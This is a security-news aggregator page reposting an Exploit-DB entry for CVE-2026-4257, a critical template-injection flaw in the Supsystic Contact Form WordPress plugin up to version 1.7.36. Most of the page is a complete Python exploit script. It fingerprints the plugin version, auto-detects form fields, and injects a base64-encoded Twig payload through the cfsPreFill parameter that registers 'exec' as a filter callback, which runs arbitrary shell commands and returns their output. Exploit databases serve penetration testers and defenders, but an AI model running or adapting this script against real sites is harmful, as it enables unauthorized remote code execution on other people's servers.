Security News

Cybersecurity news aggregator

🔓
HIGH Vulnerabilities Exploit-DB

[webapps] WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI

The WordPress Supsystic Contact Form plugin (versions up to and including 1.7.36) contains a critical Server-Side Template Injection (SSTI) vulnerability (CVE-2026-4257, CVSS 9.8) that allows remote attackers to execute arbitrary code. The exploit leverages user-supplied input in contact form fields to achieve template injection. The authoritative NVD data confirms the affected version range but does not specify a patched version.
Read Full Article →

This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI EDB-ID: 52564 CVE: 2026-4257 EDB Verified: Author: BOOTSTRAPBOOL Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-05-14 Vulnerable App: # Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI # Date: 3/30/2026 # Exploit Author: bootstrapbool # Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/ # Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/ # Version: <= 1.7.36 # Tested on: Ubuntu 24 and Windows 10 # CVE : CVE-2026-4257 import argparse import base64 import re import requests class status: OKGREEN = "\033[32m" WARNING = "\033[33m" FAIL = "\033[31m" ENDC = "\033[0m" NOCOLOR = False VERBOSE = False @classmethod def print(cls, message: str, status: str = None): if cls.NOCOLOR: print(message) return match status: case "FAIL": print(f"{cls.FAIL}{message}{cls.ENDC}") case "WARNING": print(f"{cls.WARNING}{message}{cls.ENDC}") case "SUCCESS": print(f"{cls.OKGREEN}{message}{cls.ENDC}") case _: print(message) @classmethod def vprint(cls, message: str, status: str = None): if cls.VERBOSE: cls.print(message, status) def get_page(url: str) -> str: try: res = requests.get(url) res.raise_for_status() except requests.excpetions.RequestException as e: status.print(f"Request to {url} failed with {res.status_code}") exit(1) if res.status_code != 200: status.print(f"Got {res.status_code} for request to: {url}", "WARNING") return res.text def get_version(body: str) -> str | None: pattern = r'suptablesui.min.css\?ver=([0-9\.]+)' match = re.search(pattern, body) if match: return match.group(1) def is_vulnerable(version: str) -> bool: try: major, minor, patch = map(int, version.split(".")) return (major, minor, patch) <= (1, 7, 36) except: status.vprint(f"Failed to parse version.", "WARNING") def detect_version(body: str): version = get_version(body) vulnerable = is_vulnerable(version) if vulnerable: status.vprint(f"Detected version {version} is vulnerable.", "SUCCESS") elif vulnerable != None: status.vprint( f"Detected version {version} is not vulnerable.", "WARNING") def detect_fields(body: str) -> list[str] | None: """Automatically attempt to get Contact Form fields to use for SSTI""" pattern = r'data-name="([^"]+)"' field_names = list(set(re.findall(pattern, body))) if field_names: status.print(f"Detected fields: {field_names}", "SUCCESS") return field_names def handle_field(body: str, field: str | None) -> str: if field: return field fields = detect_fields(body) if fields is not None: status.vprint(f"Using automatically detected field: {fields[0]}") return fields[0] status.print("Failed to detect fields.", "FAIL") exit(1) def get_output(field: str, body: str) -> str | None: pattern = rf'name="fields\[{re.escape(field)}\]"\s+value="([^"]+)"' match = re.search(pattern, body) if match: return match.group(1) def exploit(url: str, payload: str, field: str) -> str | None: utf8_var = "{%set a%}UTF-8{%endset%}" base64_var = "{%set b%}BASE64{%endset%}" twig_payload = "{%set p%}" + base64.urlsafe_b64encode(payload.encode('utf-8')).decode('utf-8') + "{%endset%}" # The () ensures the variables are not treated as string literals twig_payload_decode = "{%set p = p|convert_encoding((a), (b))%}" register_callback = "{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}" exec_filter = "{{_self.env.getFilter(p)}}" ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter status.vprint(f"Payload: {payload}") params = { "cfsPreFill": 1, field: ssti_payload} try: res = requests.get(url, params) res.raise_for_status() except requests.excpetions.RequestException as e: status.print(f"Request to {url} failed with {res.status_code}") exit(1) if res.status_code != 200: status.print(f"Got {res.status_code} for request to: {url}", "WARNING") return get_output(field, res.text) def main(): parser = argparse.ArgumentParser() parser.add_argument( "--field", type = str, help = ("Valid field part of the Contact Form. The defaults are " + "first_name, last_name, subject, message, and email. Though it's " + "possible for none of these fields to appear. Not all field types" + "work. The tested field types that are confirmed to work are" + "Text, Textarea, Number, Email, Time, and URL. Buttons do not " + "work.")) parser.add_argument( "--no-color", action = "store_true", help = "If you dont want pretty colors in your output.") parser.add_argument( "--verbose", "-v", action = "store_true") parser.add_argument( "url", type = str, help = ("Full URL to page with vulnerable Contact Form component. " \ + "Ex: http://localhost:4444/sample.php")) parser.add_argument( "payload", type = str, default = None, help = ("Shell commands to be executed.")) args = parser.parse_args() status.NOCOLOR = args.no_color status.VERBOSE = args.verbose body = get_page(args.url) detect_version(body) field = handle_field(body, args.field) output = exploit(args.url, args.payload, field) if output: if output.lower() == field.lower(): status.print( "Output is same as field. Maybe try a different field?", "WARNING") status.print(output) else: status.print( f"Failed to extract output with field '{field}'", "FAIL") if __name__ == "__main__": main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.

Share this article